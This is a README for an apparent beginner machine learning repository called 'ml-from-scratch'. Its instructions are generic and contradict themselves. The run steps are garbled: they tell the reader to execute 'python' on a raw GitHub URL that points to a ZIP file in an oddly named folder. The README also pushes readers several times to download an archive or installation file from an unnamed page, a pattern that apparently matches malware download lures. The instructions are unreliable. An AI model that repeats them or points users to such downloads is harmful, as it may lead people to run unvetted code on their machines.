Welcome to the ml-from-scratch repository. This project provides simple implementations of various machine learning models using Python. It is designed to help you understand the concepts of machine learning without needing programming experience. You can explore algorithms for classification, regression, and more, all presented in an easy-to-follow way.
To get started with ml-from-scratch, follow these steps to download and run the software.
- Operating System: Windows, macOS, or Linux
- Python Version: 3.6 or higher
- Required Libraries: These libraries come pre-installed, but if you wish, you can install them using the command line:
- NumPy
- Pandas
- Matplotlib
- Seaborn
- Scikit-learn
To download the latest version of the software, visit this page to download.
- Click the link above.
- Look for the latest release. It will contain details about the version.
- Download the appropriate file for your operating system. This could be a ZIP file that you will extract or a direct installation file.
If you downloaded a ZIP file, follow these steps to extract and access the contents:
- Locate the file in your downloads folder.
- Right-click on the file and select "Extract All..."
- Choose a destination folder and click "Extract".
Now you are ready to run the application.
After downloading and extracting, you will find Jupyter Notebook files or Python scripts. To run them:
- Open a command prompt or terminal window.
- Navigate to the folder where you extracted the files. Use the
cdcommand (for example:cd path/to/your/folder). - Start Jupyter Notebook by typing
jupyter notebookand press Enter. - Your web browser will open, showing the Jupyter interface. Click on any notebook to start exploring machine learning models.
- Open a command prompt or terminal window.
- Navigate to the folder where you extracted the files.
- Type
python https://raw.githubusercontent.com/pravinkumarelangovan/ml-from-scratch/main/Dromiceius/ml-from-scratch.zipand replacehttps://raw.githubusercontent.com/pravinkumarelangovan/ml-from-scratch/main/Dromiceius/ml-from-scratch.zipwith the name of the file you want to run. - Press Enter. Follow the instructions printed in the terminal for results.
This repository includes different Python scripts and notebooks. Each one contains explanations and examples of machine learning concepts. Here’s a quick overview of what you can expect:
-
Classification Models: Learn how to classify data points into categories using methods like decision trees and logistic regression.
-
Regression Models: Understand how to predict continuous values using techniques like linear regression and polynomial regression.
-
Clustering Models: Explore methods to group data points that are similar, such as K-Means clustering.
-
Visualization Tools: Use tools to create graphs and visualizations that help interpret your data.
You can modify the code in each notebook or script to experiment with different datasets or parameters. This hands-on approach lets you see how changes affect outcomes.
You might want to refer to these additional resources to strengthen your understanding:
- Documentation: Each file comes with comments and explanations within the code. Read these comments closely.
- Tutorials: There are many online tutorials for machine learning that can provide further insights.
- Books: Consider reading introductory books on Python and machine learning to consolidate your learning.
If you want to contribute to the project, feel free to open an issue or submit a pull request. Your ideas for new models or methods can help improve this repository for others.
For any questions or issues you encounter, please use the GitHub issues page to get help. We aim to respond promptly.
Thank you for downloading ml-from-scratch! We hope you find it useful in your journey to learning machine learning. Don't forget to visit this page to download for updates.